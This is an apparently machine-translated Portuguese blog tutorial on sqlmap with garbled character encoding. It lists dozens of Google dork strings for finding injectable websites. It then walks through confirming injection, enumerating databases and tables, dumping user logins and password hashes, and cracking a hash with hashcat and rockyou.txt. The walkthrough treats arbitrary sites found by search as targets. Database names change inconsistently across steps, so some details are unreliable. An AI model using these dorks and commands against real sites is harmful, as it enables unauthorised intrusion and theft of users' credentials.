Notícias de dispositivos móveis, gadgets, aplicativos Android

Detec√ß√£o e explora√ß√£o de inje√ß√£o SQL de SQLMAP ‚Äď uma explica√ß√£o detalhada

Sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e explorando falhas de injeção de SQL e assumir o controle de servidores de banco de dados.

Ele vem com um poderoso mecanismo de detec√ß√£o, muitos recursos de nicho para o melhor testador de penetra√ß√£o e uma ampla gama de switches que v√£o desde impress√£o digital de banco de dados, at√© busca de dados do banco de dados, para acessar o sistema de arquivos subjacente e executar comandos no sistema operacional por meio de conex√Ķes fora de banda.

Futuro da ferramenta:

  • Suporte total para MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB e Informix Sistemas de Gerenciamento de Banco de Dados.
  • Suporte completo para seis t√©cnicas de inje√ß√£o de SQL: cego baseado em booleano, cego baseado em tempo, baseado em erro, baseado em consulta UNION, consultas empilhadas e fora de banda.
  • Suporte para conectar-se diretamente ao banco de dados sem passar por inje√ß√£o de SQL, fornecendo credenciais de DBMS, endere√ßo IP, porta e nome do banco de dados.
  • Apoio para enumerar usu√°rios, hashes de senha, privil√©gios, fun√ß√Ķes, bancos de dados, tabelas e colunas.
  • Reconhecimento autom√°tico de formatos de hash de senha e suporte para quebrando-os usando um ataque baseado em dicion√°rio.
  • Suporte para despejar tabelas de banco de dados inteiramente, um intervalo de entradas ou colunas espec√≠ficas conforme a escolha do usu√°rio. O usu√°rio tamb√©m pode optar por despejar apenas um intervalo de caracteres de cada entrada de coluna.
  • Suporte para pesquise nomes de bancos de dados espec√≠ficos, tabelas espec√≠ficas em todos os bancos de dados ou colunas espec√≠ficas em todas as tabelas dos bancos de dados. Isto √© √ļtil, por exemplo, para identificar tabelas que cont√™m credenciais de aplicativos personalizados onde os nomes das colunas relevantes cont√™m strings como nome e senha.
  • Suporte para baixe e carregue qualquer arquivo do servidor de banco de dados do sistema de arquivos subjacente quando o software de banco de dados for MySQL, PostgreSQL ou Microsoft SQL Server.
  • Suporte para execute comandos arbitr√°rios e recupere sua sa√≠da padr√£o no servidor de banco de dados subjacente ao sistema operacional quando o software de banco de dados for MySQL, PostgreSQL ou Microsoft SQL Server.
  • Suporte para estabelecer uma conex√£o TCP com estado fora de banda entre a m√°quina invasora e o servidor de banco de dados sistema operacional subjacente. Este canal pode ser um prompt de comando interativo, uma sess√£o do Meterpreter ou uma sess√£o de interface gr√°fica do usu√°rio (VNC), conforme a escolha do usu√°rio.
  • Suporte para escalonamento de privil√©gios de usu√°rio do processo de banco de dados atrav√©s do comando Meterpreter getsystem do Metasploit.

Leia tamb√©m Lynis ‚Äď Ferramenta de auditoria de seguran√ßa de c√≥digo aberto ‚Äď Uma explica√ß√£o detalhada

Técnicas:

sqlmap √© capaz de detectar e explorar cinco inje√ß√Ķes SQL diferentes tipos:

Cego baseado em booleano:

  • sqlmap substitui ou anexa ao par√Ęmetro afetado na solicita√ß√£o HTTP, uma string de instru√ß√£o SQL sintaticamente v√°lida contendo uma subinstru√ß√£o SELECT ou qualquer outra Instru√ß√£o SQL cujo usu√°rio deseja recuperar a sa√≠da.
  • Para cada resposta HTTP, fazendo uma compara√ß√£o entre o Cabe√ßalhos/corpo de resposta HTTP com a solicita√ß√£o original, a ferramenta infere a sa√≠da da instru√ß√£o injetada caractere por caractere. Alternativamente, o usu√°rio pode fornecer uma string ou express√£o regular para corresponder √†s p√°ginas True.
  • O algoritmo de bissec√ß√£o implementado no sqlmap para realizar esta t√©cnica √© capaz de buscar cada caractere da sa√≠da com no m√°ximo sete solicita√ß√Ķes HTTP.
  • Onde a sa√≠da n√£o estiver dentro do conjunto de caracteres simples de texto n√£o criptografado, o sqlmap adaptar√° o algoritmo com intervalos maiores para detectar a sa√≠da.

Cego baseado no tempo:

  • sqlmap substitui ou anexa ao par√Ęmetro afetado na solicita√ß√£o HTTP, uma string de instru√ß√£o SQL sintaticamente v√°lida contendo uma consulta que coloca em espera o SGBD back-end para retornar por um certo n√ļmero de segundos.
  • Para cada resposta HTTP, ao fazer uma compara√ß√£o entre o tempo de resposta HTTP com a solicita√ß√£o original, a ferramenta infere a sa√≠da da instru√ß√£o injetada caractere por caractere. J√° para a t√©cnica baseada em booleano, o algoritmo de bissec√ß√£o √© aplicado.
N√≥s recomendamos:  Uma nova descoberta esclarece como os humanos influenciaram os c√£es ao longo do tempo

Baseado em erros:

  • sqlmap substitui ou anexa ao par√Ęmetro afetado uma instru√ß√£o de provoca√ß√£o de mensagem de erro espec√≠fica do banco de dados e analisa os cabe√ßalhos e o corpo da resposta HTTP em busca de mensagens de erro do DBMS contendo a cadeia de caracteres predefinida injetada e a sa√≠da da instru√ß√£o de subconsulta.
  • Essa t√©cnica funciona somente quando o aplicativo Web foi configurado para divulgar mensagens de erro do sistema de gerenciamento de banco de dados backend.

Baseado em consulta UNION:

  • sqlmap anexa ao par√Ęmetro afetado uma instru√ß√£o SQL sintaticamente v√°lida come√ßando com UNION ALL SELECT. Essa t√©cnica funciona quando a p√°gina da aplica√ß√£o web passa diretamente a sa√≠da da instru√ß√£oSELECT dentro de um loop for, ou similar, para que cada linha da sa√≠da da consulta seja impressa no conte√ļdo da p√°gina.
  • sqlmap tamb√©m √© capaz de explorar inje√ß√£o de SQL de consulta UNION parcial (entrada √ļnica) vulnerabilidades que ocorrem quando a sa√≠da da instru√ß√£o n√£o √© ciclada em uma constru√ß√£o for, enquanto apenas a primeira entrada da sa√≠da da consulta √© exibida.

Consultas empilhadas:

  • tamb√©m conhecido como porquinho: o sqlmap testa se o aplicativo da web oferece suporte a consultas empilhadas e, caso suporte, anexa ao par√Ęmetro afetado no Solicita√ß√£o HTTPum ponto e v√≠rgula (;) seguido pela instru√ß√£o SQL a ser executada.
  • Esta t√©cnica √© √ļtil para executar instru√ß√Ķes SQL diferentes de SELECT, como por exemplo, defini√ß√£o de dados ou manipula√ß√£o de dados instru√ß√Ķes, possivelmente levando ao acesso de leitura e grava√ß√£o do sistema de arquivos e comando do sistema operacional execu√ß√£o dependendo do sistema de gerenciamento de banco de dados back-end subjacente e dos privil√©gios do usu√°rio da sess√£o.

Encontre um site vulner√°vel:

Essa geralmente é a parte mais difícil e leva mais tempo do que qualquer outra etapa. Quem sabe usar o Google Dorks já sabe disso, mas caso não saiba, juntei uma série de strings que você pode Pesquisar no google.

Basta copiar e colar qualquer uma das linhas do Google e o Google mostrar√° v√°rios resultados de pesquisa.

Idiota do Google:

Um idiota do Google √© um funcion√°rio que, sem saber, exp√Ķe informa√ß√Ķes corporativas confidenciais na internet. A palavra idiota √© uma g√≠ria para uma pessoa de racioc√≠nio lento ou inepta.

Os idiotas do Google colocam as informa√ß√Ķes corporativas em risco porque criar involuntariamente portas traseiras que permitem que um invasor entre em uma rede sem permiss√£o e/ou obtenha acesso a informa√ß√Ķes n√£o autorizadas.

Para localizar informa√ß√Ķes confidenciais, os invasores usam strings de pesquisa avan√ßada chamadas consultas idiotas do Google.

Strings do Google Dorks para encontrar site injet√°vel SQLMAP SQL vulner√°vel:

Coluna de string do Google Dork 1 Coluna de string do Google Dork 2 Coluna de string do Google Dork 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:currículo.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:categoria.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:produto-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:produto.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:artigo.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:artigo.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:seção.php?id=
inurl:staff_id= inurl:categorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:canal_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participante.php?id= about.php?cartID=
inurl:avd_start.php?avd= inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id= inurl:main.php?id= adicionar ao carrinho.php?ID=
inurl:produto-item.php?id= inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id= inurl:chappies.php?id= addtomylist.php?ProdId=
inurl:material.php?id= inurl:read.php?id=
inurl:clanek.php4?id= inurl:prod_detail.php?id=
inurl:announce.php?id= inurl:viewphoto.php?id=
inurl:chappies.php?id= inurl:artigo.php?id=
inurl:read.php?id= inurl:person.php?id=
inurl:viewapp.php?id= inurl:productinfo.php?id=
inurl:viewphoto.php?id= inurl:showimg.php?id=
inurl:rub.php?idr= inurl:view.php?id=
inurl:galeri_info.php?l= inurl:website.php?id=

Etapa 1: Verificação inicial para confirmar se o site está vulnerável ao SQLMAP SQL Injection

Para cada string mostrada acima, você obterá centenas de resultados de pesquisa. Como você sabe o que é realmente vulnerável ao SQLMAP SQL Injection?

Existem várias maneiras e tenho certeza de que as pessoas argumentariam qual é a melhor, mas para mim, a seguinte é a mais simples e conclusiva.

N√≥s recomendamos:  SIM e n√ļmeros que valem uma pequena fortuna, eis o que s√£o

Digamos que você pesquisou usando esta string inurl:item_id= e um dos Resultado de pesquisa do Google mostra um site como este:

http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434

Basta adicionar aspas simples ‘ no final do URL. (S√≥ para garantir, ‚ÄĚ s√£o aspas duplas e ‚ÄĚ ‘ ‚ÄĚ s√£o aspas simples).

Ent√£o agora seu URL ficar√° assim:

http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434'

Se a página retornar um erro SQL, a página estará vulnerável a Injeção SQLMAP SQL. Se ele carregar ou redirecionar você para uma página diferente, vá para o próximo site na página de resultados de pesquisa do Google.

Veja o exemplo de erro abaixo na captura de tela. Ocultei tudo, incluindo URL e design de página, por motivos óbvios.

Exemplos de erros SQLi de diferentes bancos de dados e idiomas

Servidor SQL da Microsoft

Erro de Servidor na ‘/’ Aplica√ß√£o. Aspas n√£o fechadas antes da cadeia de caracteres ‘attack;’.

Descri√ß√£o: Ocorreu uma exce√ß√£o n√£o processada durante a execu√ß√£o da solicita√ß√£o da web atual. Revise o rastreamento de pilha para obter mais informa√ß√Ķes sobre a origem do erro no c√≥digo.

Detalhes da exce√ß√£o: System.Data.SqlClient.SqlException: aspas n√£o fechadas antes da cadeia de caracteres ‘attack;’.

Erros MySQL

Aviso: mysql_fetch_array(): o argumento fornecido não é um recurso de resultado válido do MySQL em /var/www/myawesomestore.com/buystuff.php na linha 12

Erro: Voc√™ tem um erro na sua sintaxe SQL: verifique o manual que corresponde √† vers√£o do seu servidor MySQL para obter a sintaxe correta para usar perto de ”’ na linha 12

Erros Oracle

java.sql.SQLException: ORA-00933: Comando SQL n√£o finalizado corretamente em oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) em oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Erro: SQLExceptionjava.sql.SQLException: ORA-01756: string entre aspas n√£o terminada corretamente

Erros PostgreSQL

Falha na consulta: ERRO: string entre aspas n√£o terminada em ou pr√≥ximo a ‚Äú”’‚ÄĚ

Etapa 2: Listar bancos de dados DBMS usando SQLMAP SQL Injection:

Como voc√™ pode ver na captura de tela acima, encontrei um site vulner√°vel ao SQLMAP SQL Injection. Agora preciso listar todos os bancos de dados desse banco de dados vulner√°vel. (isso tamb√©m √© chamado de enumerar o n√ļmero de colunas). Como estou usando o SQLMAP, ele tamb√©m me dir√° qual deles est√° vulner√°vel.

Execute o seguinte comando em seu site vulner√°vel.

sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbs

Aqui:
sqlmap = Nome do arquivo bin√°rio sqlmap
-u = URL de destino (por exemplo, ‚Äúhttp://www.gbhackers.com/products_showitem_gbhac.php?item_id=28434‚ÄĚ)
‚Äďdbs = Enumerar bancos de dados DBMS

Veja a captura de tela abaixo.

Este comando revela algumas informa√ß√Ķes interessantes:

web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: gbhackers
[10:55:56] [INFO] fetched data logged to text files under
 '/usr/share/sqlmap/output/www.gbhackers.com'


Portanto, agora temos dois bancos de dados que podemos examinar. information_schema é um banco de dados padrão para quase todos os bancos de dados MYSQL. Portanto, nosso interesse seria no banco de dados clemcoindustries.

Etapa 3: Listar tabelas do banco de dados de destino usando SQLMAP SQL Injection:

Agora precisamos saber quantas tabelas esse banco de dados clemcoindustries possui e quais s√£o seus nomes. Para descobrir essas informa√ß√Ķes, use o seguinte comando:

sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
clemcoindustries --tables

esse banco de dados obteve 8 tabelas.

[10:56:20] [INFO] fetching tables for database: 'gbhackers'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info

e, claro, queremos verificar o que está dentro da tabela user_info usando SQLMAP SQL Injection, pois essa tabela provavelmente contém nomes de usuários e senhas.

Etapa 4: Lista colunas na tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:

Agora precisamos listar todas as colunas na tabela de destino user_info do banco de dados clemcoindustries usando SQLMAP SQL Injection. SQLMAP SQL Injection torna isso muito f√°cil, execute o seguinte comando:

sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
 gbhackers-T user_i
nfo --columns

Isso retorna 5 entradas da tabela de destino user_info do banco de dados clemcoindustries.

[10:57:16] [INFO] fetching columns for table 'user_info' in database 'gbhackers '
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)

Isso é exatamente o que estamos procurando… tabela de destino user_login e user_password.

N√≥s recomendamos:  Samsung Galaxy A21: Evan Blass nos mostra o design com uma foto em 360 ¬į

Etapa 5: lista os nomes de usu√°rio das colunas de destino da tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:

SQLMAP SQL Injection torna tudo mais f√°cil! Basta executar o seguinte comando novamente:

sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
gbhackers-T user_info -C user_login --dump

Adivinhe, agora temos o nome de usu√°rio do banco de dados:

[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes





Estamos quase lá, agora só precisamos da senha deste usuário. A seguir mostra exatamente isso.

Etapa 6: Extraia a senha das colunas de destino da tabela de destino do banco de dados selecionado usando SQLMAP SQL Injection:

Você provavelmente está se acostumando a usar a ferramenta SQLMAP SQL Injection. Use o seguinte comando para extrair a senha do usuário.

sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T
user_info -C user_password --dump
We have hashed password : 24iYBc17xK0e
[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

Mas espere, essa senha parece engraçada. Esta não pode ser a senha de alguém. Alguém que deixa seu site vulnerável dessa forma simplesmente não pode ter uma senha como essa.

Isso está exatamente certo. Esta é uma senha com hash. Isso significa que a senha está criptografada e agora precisamos descriptografá-la.

Abordei extensivamente como descriptografar senhas nesta postagem Cracking MD5, phpBB, MySQL e SHA1 com Hashcat no Kali Linux. Se você perdeu, está perdendo muito.

Vou abordar isso resumidamente aqui, mas você realmente deve aprender como usar o hashcat.

Etapa 7: Quebrando senha:

Portanto, a senha com hash é 24iYBc17xK0e. Como você sabe que tipo de hash é esse?

1. Identifique o tipo de Hash:

Felizmente, o Kali Linux oferece uma ótima ferramenta e podemos usá-la para identificar que tipo de hash é esse. Na linha de comando digite o seguinte comando e no prompt cole o valor hash:

hash-identifier





Excelente. Então isso é DES(Unix) cerquilha.

2. Crack HASH usando cudahashcat:

Primeiro de tudo, preciso saber qual código usar para hashes DES. Então vamos verificar isso

cudahashcat --help | grep DES




Então é 1500 ou 3100. Mas era um banco de dados MYSQL, então deve ser 1500.

Salvei o valor do hash 24iYBc17xK0e. no arquivo DES.hash. A seguir est√° o comando que estou executando:

cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

Descoberta interessante: o Hashcat usual não conseguiu determinar o código do hash DES. (não no menu de ajuda). No entanto, tanto cudaHashcat quanto oclHashcat encontraram e quebraram a chave.

De qualquer forma, aqui est√° a senha quebrada: abc123 24iYBc17xK0e. :abc123

agora temos até a senha desse usuário.

Table of Contents